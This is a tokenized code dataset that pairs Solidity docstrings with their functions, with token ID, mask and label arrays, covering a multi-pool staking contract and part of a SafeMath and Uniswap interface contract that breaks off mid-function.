* @dev setAdminSigner updates the adminSigner address. Emits a {Unpaused} event. Requirements: - Only the owner can call this function/
function setAdminSigner(address _newAdminSigner) public onlyOwner() returns(address) { _adminSigner = _newAdminSigner; emit updateAdminSigner(_newAdminSigner, msg.sender); return _adminSigner; }
14,566,058
[ 1, 542, 4446, 15647, 4533, 326, 3981, 15647, 1758, 18, 7377, 1282, 279, 288, 984, 8774, 3668, 97, 871, 18, 29076, 30, 300, 5098, 326, 3410, 848, 745, 333, 445, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 4446, 15647, 12, 2867, 389, 2704, 4446, 15647, 13, 1071, 1338, 5541, 1435, 1135, 12, 2867, 13, 288, 203, 3639, 389, 3666, 15647, 273, 389, 2704, 4446, 15647, 31, 203, 3639, 3626, 1089, 4446, 15647, 24899, 2704, 4446, 15647, 16, 1234, 18, 15330, 1769, 203, 3639, 327, 389, 3666, 15647, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /* * @title BARIS ATALAY * @dev Set & change owner * * @IMPORTANT Reward tokens to be distributed to the stakers must be deposited into the contract. * */ contract DynamicAssetStake is Context, Ownable{ event Stake(address indexed from, uint256 amount); event UnStake(address indexed from, uint256 amount); event YieldWithdraw(address indexed to); struct PendingRewardResponse{ // Model of showing pending awards bytes32 name; // Byte equivalent of the name of the pool token uint256 amount; // TODO... uint id; // Id of Reward } struct RewardDef{ address tokenAddress; // Contract Address of Reward token uint256 rewardPerSecond; // Accepted reward per second bytes32 name; // Byte equivalent of the name of the pool token uint8 feeRate; // Fee Rate for Reward Harvest uint id; // Id of Reward } struct PoolDef{ address tokenAddress; // Contract Address of Pool token uint rewardCount; // Amount of the reward to be won from the pool uint id; // Id of pool bool active; // Pool active status } struct PoolDefExt{ uint256 expiryTime; // The pool remains active until the set time uint256 createTime; // Pool creation time bytes32 name; // Byte equivalent of the name of the pool token } struct PoolVariable{ // Only owner can edit uint256 balanceFee; // Withdraw Fee for contract Owner; uint256 lastRewardTimeStamp; // Last date reward was calculated uint8 feeRate; // Fee Rate for UnStake } struct PoolRewardVariable{ uint256 accTokenPerShare; // Token share to be distributed to users uint256 balance; // Pool Contract Token Balance } // Info of each user struct UserDef{ address id; // Wallet Address of staker uint256 stakingBalance; // Amount of current staking balance uint256 startTime; // Staking start time } struct UserRewardInfo{ uint256 rewardBalance; } uint private stakeIDCounter; //Pool ID => PoolDef mapping(uint => PoolDef) public poolList; //Pool ID => Underused Pool information mapping(uint => PoolDefExt) public poolListExtras; //Pool ID => Pool Variable info mapping(uint => PoolVariable) public poolVariable; //Pool ID => (RewardIndex => RewardDef) mapping(uint => mapping(uint => RewardDef)) public poolRewardList; //Pool ID => (RewardIndex => PoolRewardVariable) mapping(uint => mapping(uint => PoolRewardVariable)) public poolRewardVariableInfo; //Pool ID => (RewardIndex => Amount of distributed reward to staker) mapping(uint => mapping(uint => uint)) public poolPaidOut; //Pool ID => Amount of Stake from User mapping(uint => uint) public poolTotalStake; //Pool ID => (User ID => User Info) mapping(uint => mapping(address => UserDef)) poolUserInfo; //Pool ID => (User ID => (Reward Id => Reward Info)) mapping (uint => mapping(address => mapping(uint => UserRewardInfo))) poolUserRewardInfo; using SafeMath for uint; using SafeERC20 for IERC20; constructor(){ stakeIDCounter = 0; } /// @notice Updates the deserved rewards in the pool /// @param _stakeID Id of the stake pool function UpdatePoolRewardShare(uint _stakeID) internal virtual { uint256 lastTimeStamp = block.timestamp; PoolVariable storage selectedPoolVariable = poolVariable[_stakeID]; if (lastTimeStamp <= selectedPoolVariable.lastRewardTimeStamp) { lastTimeStamp = selectedPoolVariable.lastRewardTimeStamp; } if (poolTotalStake[_stakeID] == 0) { selectedPoolVariable.lastRewardTimeStamp = block.timestamp; return; } uint256 timeDiff = lastTimeStamp.sub(selectedPoolVariable.lastRewardTimeStamp); //..:: Calculating the reward shares of the pool ::.. uint rewardCount = poolList[_stakeID].rewardCount; for (uint i=0; i<rewardCount; i++) { uint256 currentReward = timeDiff.mul(poolRewardList[_stakeID][i].rewardPerSecond); poolRewardVariableInfo[_stakeID][i].accTokenPerShare = poolRewardVariableInfo[_stakeID][i].accTokenPerShare.add(currentReward.mul(1e36).div(poolTotalStake[_stakeID])); } //..:: Calculating the reward shares of the pool ::.. selectedPoolVariable.lastRewardTimeStamp = block.timestamp; } /// @notice Lists the rewards of the transacting user in the pool /// @param _stakeID Id of the stake pool /// @return Reward model list function showPendingReward(uint _stakeID) public virtual view returns(PendingRewardResponse[] memory) { UserDef memory user = poolUserInfo[_stakeID][_msgSender()]; uint256 lastTimeStamp = block.timestamp; uint rewardCount = poolList[_stakeID].rewardCount; PendingRewardResponse[] memory result = new PendingRewardResponse[](rewardCount); for (uint RewardIndex=0; RewardIndex<rewardCount; RewardIndex++) { uint _accTokenPerShare = poolRewardVariableInfo[_stakeID][RewardIndex].accTokenPerShare; if (lastTimeStamp > poolVariable[_stakeID].lastRewardTimeStamp && poolTotalStake[_stakeID] != 0) { uint256 timeDiff = lastTimeStamp.sub(poolVariable[_stakeID].lastRewardTimeStamp); uint256 currentReward = timeDiff.mul(poolRewardList[_stakeID][RewardIndex].rewardPerSecond); _accTokenPerShare = _accTokenPerShare.add(currentReward.mul(1e36).div(poolTotalStake[_stakeID])); } result[RewardIndex] = PendingRewardResponse({ id: RewardIndex, name: poolRewardList[_stakeID][RewardIndex].name, amount: user.stakingBalance .mul(_accTokenPerShare) .div(1e36) .sub(poolUserRewardInfo[_stakeID][_msgSender()][RewardIndex].rewardBalance) }); } return result; } /// @notice Withdraw assets by pool id /// @param _stakeID Id of the stake pool /// @param _amount Amount of withdraw asset function unStake(uint _stakeID, uint256 _amount) public { require(_msgSender() != address(0), "Stake: Staker address not specified!"); //IERC20 selectedToken = getStakeContract(_stakeID); UserDef storage user = poolUserInfo[_stakeID][_msgSender()]; require(user.stakingBalance > 0, "Stake: does not have staking balance"); // Amount leak control if (_amount > user.stakingBalance) _amount = user.stakingBalance; // "_amount" removed to Total staked value by Pool ID if (_amount > 0) poolTotalStake[_stakeID] = poolTotalStake[_stakeID].sub(_amount); UpdatePoolRewardShare(_stakeID); sendPendingReward(_stakeID, user, true); uint256 unStakeFee; if (poolVariable[_stakeID].feeRate > 0) unStakeFee = _amount .mul(poolVariable[_stakeID].feeRate) .div(100); // Calculated unStake amount after commission deducted uint256 finalUnStakeAmount = _amount.sub(unStakeFee); // ..:: Updated last user info ::.. user.startTime = block.timestamp; user.stakingBalance = user.stakingBalance.sub(_amount); // ..:: Updated last user info ::.. if (finalUnStakeAmount > 0) getStakeContract(_stakeID).safeTransfer(_msgSender(), finalUnStakeAmount); emit UnStake(_msgSender(), _amount); } /// @notice Structure that calculates rewards to be distributed for users /// @param _stakeID Id of the stake pool /// @param _user Staker info /// @param _subtractFee If the value is true, the commission is subtracted when calculating the reward. function sendPendingReward(uint _stakeID, UserDef memory _user, bool _subtractFee) private { // ..:: Pending reward will be calculate and add to transferAmount, before transfer unStake amount ::.. uint rewardCount = poolList[_stakeID].rewardCount; for (uint RewardIndex=0; RewardIndex<rewardCount; RewardIndex++) { uint256 userRewardedBalance = poolUserRewardInfo[_stakeID][_msgSender()][RewardIndex].rewardBalance; uint pendingAmount = _user.stakingBalance .mul(poolRewardVariableInfo[_stakeID][RewardIndex].accTokenPerShare) .div(1e36) .sub(userRewardedBalance); if (pendingAmount > 0) { uint256 finalRewardAmount = pendingAmount; if (_subtractFee){ uint256 pendingRewardFee; if (poolRewardList[_stakeID][RewardIndex].feeRate > 0) pendingRewardFee = pendingAmount .mul(poolRewardList[_stakeID][RewardIndex].feeRate) .div(100); // Commission fees received are recorded for reporting poolVariable[_stakeID].balanceFee = poolVariable[_stakeID].balanceFee.add(pendingRewardFee); // Calculated reward after commission deducted finalRewardAmount = pendingAmount.sub(pendingRewardFee); } //Reward distribution getRewardTokenContract(_stakeID, RewardIndex).safeTransfer(_msgSender(), finalRewardAmount); // Updating balance pending to be distributed from contract to users poolRewardVariableInfo[_stakeID][RewardIndex].balance = poolRewardVariableInfo[_stakeID][RewardIndex].balance.sub(pendingAmount); // The amount distributed to users is reported poolPaidOut[_stakeID][RewardIndex] = poolPaidOut[_stakeID][RewardIndex].add(pendingAmount); } } } /// @notice Deposits assets by pool id /// @param _stakeID Id of the stake pool /// @param _amount Amount of deposit asset function stake(uint _stakeID, uint256 _amount) public{ IERC20 selectedToken = getStakeContract(_stakeID); require(selectedToken.allowance(_msgSender(), address(this)) > 0, "Stake: No balance allocated for Allowance!"); require(_amount > 0 && selectedToken.balanceOf(_msgSender()) >= _amount, "Stake: You cannot stake zero tokens"); UserDef storage user = poolUserInfo[_stakeID][_msgSender()]; // Amount leak control if (_amount > selectedToken.balanceOf(_msgSender())) _amount = selectedToken.balanceOf(_msgSender()); // Amount transfer to address(this) selectedToken.safeTransferFrom(_msgSender(), address(this), _amount); UpdatePoolRewardShare(_stakeID); if (user.stakingBalance > 0) sendPendingReward(_stakeID, user, false); // "_amount" added to Total staked value by Pool ID poolTotalStake[_stakeID] = poolTotalStake[_stakeID].add(_amount); // "_amount" added to USER Total staked value by Pool ID user.stakingBalance = user.stakingBalance.add(_amount); // ..:: Calculating the rewards user pool deserve ::.. uint rewardCount = poolList[_stakeID].rewardCount; for (uint i=0; i<rewardCount; i++) { poolUserRewardInfo[_stakeID][_msgSender()][i].rewardBalance = user.stakingBalance.mul(poolRewardVariableInfo[_stakeID][i].accTokenPerShare).div(1e36); } // ..:: Calculating the rewards user pool deserve ::.. emit Stake(_msgSender(), _amount); } /// @notice Returns staked token balance by pool id /// @param _stakeID Id of the stake pool /// @param _account Address of the staker /// @return Count of staked balance function balanceOf(uint _stakeID, address _account) public view returns (uint256) { return poolUserInfo[_stakeID][_account].stakingBalance; } /// @notice Returns Stake Poll Contract casted IERC20 interface by pool id /// @param _stakeID Id of the stake pool function getStakeContract(uint _stakeID) internal view returns(IERC20){ require(poolListExtras[_stakeID].name!="", "Stake: Selected contract is not valid"); require(poolList[_stakeID].active,"Stake: Selected contract is not active"); return IERC20(poolList[_stakeID].tokenAddress); } /// @notice Returns rewarded token address /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @return Token contract function getRewardTokenContract(uint _stakeID, uint _rewardID) internal view returns(IERC20){ return IERC20(poolRewardList[_stakeID][_rewardID].tokenAddress); } /// @notice Checks the address has a stake /// @param _stakeID Id of the stake pool /// @param _user Address of the staker /// @return Value of stake status function isStaking(uint _stakeID, address _user) view public returns(bool){ return poolUserInfo[_stakeID][_user].stakingBalance > 0; } /// @notice Returns stake asset list of active function getPoolList() public view returns(PoolDef[] memory, PoolDefExt[] memory){ uint length = stakeIDCounter; PoolDef[] memory result = new PoolDef[](length); PoolDefExt[] memory resultExt = new PoolDefExt[](length); for (uint i=0; i<length; i++) { result[i] = poolList[i]; resultExt[i] = poolListExtras[i]; } return (result, resultExt); } /// @notice Returns the pool's reward definition information /// @param _stakeID Id of the stake pool /// @return List of pool's reward definition function getPoolRewardDefList(uint _stakeID) public view returns(RewardDef[] memory){ uint length = poolList[_stakeID].rewardCount; RewardDef[] memory result = new RewardDef[](length); for (uint i=0; i<length; i++) { result[i] = poolRewardList[_stakeID][i]; } return result; } /// @notice Returns the pool's reward definition information by pool id /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @return pool's reward definition function getPoolRewardDef(uint _stakeID, uint _rewardID) public view returns(RewardDef memory, PoolRewardVariable memory){ return (poolRewardList[_stakeID][_rewardID], poolRewardVariableInfo[_stakeID][_rewardID]); } /// @notice Returns stake pool /// @param _stakeID Id of the stake pool /// @return Definition of pool function getPoolDefByID(uint _stakeID) public view returns(PoolDef memory){ require(poolListExtras[_stakeID].name!="", "Stake: Stake Asset is not valid"); return poolList[_stakeID]; } /// @notice Adds new stake def to the pool /// @param _poolAddress Address of the token pool /// @param _poolName Name of the token pool /// @param _rewards Rewards for the stakers function addNewStakePool(address _poolAddress, bytes32 _poolName, RewardDef[] memory _rewards) onlyOwner public returns(uint){ require(_poolAddress != address(0), "Stake: New Staking Pool address not valid"); require(_poolName != "", "Stake: New Staking Pool name not valid"); uint length = _rewards.length; for (uint i=0; i<length; i++) { _rewards[i].id = i; poolRewardList[stakeIDCounter][i] = _rewards[i]; } poolList[stakeIDCounter] = PoolDef(_poolAddress, length, stakeIDCounter, false); poolListExtras[stakeIDCounter] = PoolDefExt(block.timestamp, 0, _poolName); poolVariable[stakeIDCounter] = PoolVariable(0, 0, 0); stakeIDCounter++; return stakeIDCounter.sub(1); } /// @notice Disables stake pool for user /// @param _stakeID Id of the stake pool function disableStakePool(uint _stakeID) public onlyOwner{ require(poolListExtras[_stakeID].name!="", "Stake: Contract is not valid"); require(poolList[_stakeID].active,"Stake: Contract is already disabled"); poolList[_stakeID].active = false; } /// @notice Enables stake pool for user /// @param _stakeID Id of the stake pool function enableStakePool(uint _stakeID) public onlyOwner{ require(poolListExtras[_stakeID].name!="", "Stake: Contract is not valid"); require(poolList[_stakeID].active==false,"Stake: Contract is already enabled"); poolList[_stakeID].active = true; } /// @notice Returns pool list count /// @return Count of pool list function getPoolCount() public view returns(uint){ return stakeIDCounter; } /// @notice The contract owner adds the reward she shared with the users here /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _amount Amount of deposit to reward function depositToRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){ IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID); require(selectedToken.allowance(owner(), address(this)) > 0, "Stake: No balance allocated for Allowance!"); require(_amount > 0, "Stake: You cannot stake zero tokens"); require(address(this) != address(0), "Stake: Storage address did not set"); // Amount leak control if (_amount > selectedToken.balanceOf(_msgSender())) _amount = selectedToken.balanceOf(_msgSender()); // Amount transfer to address(this) selectedToken.safeTransferFrom(_msgSender(), address(this), _amount); poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.add(_amount); return true; } /// @notice The contract owner takes back the reward shared with the users here /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _amount Amount of deposit to reward function withdrawRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){ poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.sub(_amount); IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID); selectedToken.safeTransfer(_msgSender(), _amount); return true; } /// @notice ... /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _rewardPerSecond New staking reward per second function updateRewardPerSecond(uint _stakeID, uint _rewardID, uint256 _rewardPerSecond) public onlyOwner returns(bool){ RewardDef storage reward = poolRewardList[_stakeID][_rewardID]; require(reward.rewardPerSecond != _rewardPerSecond, "Reward per Second no change! Because it is same."); reward.rewardPerSecond = _rewardPerSecond; return true; } /// @return Returns number of reward to be distributed per second by pool id function getRewardPerSecond(uint _stakeID, uint _rewardID) public view returns(uint256){ return poolRewardList[_stakeID][_rewardID].rewardPerSecond; } /// @notice ... /// @param _stakeID Id of the stake pool /// @param _rewardID Id of the reward /// @param _feeRate New reward harvest fee function updateRewardFeeRate(uint _stakeID, uint _rewardID, uint8 _feeRate) public onlyOwner returns(bool){ RewardDef storage reward = poolRewardList[_stakeID][_rewardID]; require(reward.feeRate != _feeRate, "FeeRate no change! Because it is same."); reward.feeRate = _feeRate; return true; } /// @notice ... /// @param _stakeID Id of the stake pool /// @param _feeRate New unStake fee function updateUnStakeFeeRate(uint _stakeID, uint8 _feeRate) public onlyOwner returns(bool){ PoolVariable storage def = poolVariable[_stakeID]; require(def.feeRate != _feeRate, "UnStake FeeRate no change! Because it is same."); def.feeRate = _feeRate; return true; } /// @return Returns commission rate for Unstake transaction function getUnStakeFeeRate(uint _stakeID)public view returns(uint8){ return poolVariable[_stakeID].feeRate; } /// @return Returns blockchain time function getTime() public view returns(uint256){ return block.timestamp; } }
@notice ... @param _stakeID Id of the stake pool @param _rewardID Id of the reward @param _rewardPerSecond New staking reward per second
function updateRewardPerSecond(uint _stakeID, uint _rewardID, uint256 _rewardPerSecond) public onlyOwner returns(bool){ RewardDef storage reward = poolRewardList[_stakeID][_rewardID]; require(reward.rewardPerSecond != _rewardPerSecond, "Reward per Second no change! Because it is same."); reward.rewardPerSecond = _rewardPerSecond; return true; }
13,084,412
[ 1, 2777, 282, 389, 334, 911, 734, 5411, 3124, 434, 326, 384, 911, 2845, 282, 389, 266, 2913, 734, 6647, 3124, 434, 326, 19890, 282, 389, 266, 2913, 2173, 8211, 565, 1166, 384, 6159, 19890, 1534, 2205, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 17631, 1060, 2173, 8211, 12, 11890, 389, 334, 911, 734, 16, 2254, 389, 266, 2913, 734, 16, 2254, 5034, 389, 266, 2913, 2173, 8211, 13, 1071, 1338, 5541, 1135, 12, 6430, 15329, 203, 3639, 534, 359, 1060, 3262, 2502, 19890, 273, 2845, 17631, 1060, 682, 63, 67, 334, 911, 734, 6362, 67, 266, 2913, 734, 15533, 203, 3639, 2583, 12, 266, 2913, 18, 266, 2913, 2173, 8211, 480, 389, 266, 2913, 2173, 8211, 16, 315, 17631, 1060, 1534, 7631, 1158, 2549, 5, 15191, 518, 353, 1967, 1199, 1769, 203, 3639, 19890, 18, 266, 2913, 2173, 8211, 273, 389, 266, 2913, 2173, 8211, 31, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-07-04 */ //"SPDX-License-Identifier: UNLICENSED" pragma solidity ^0.6.6; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface UniswapV2Router{ function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); 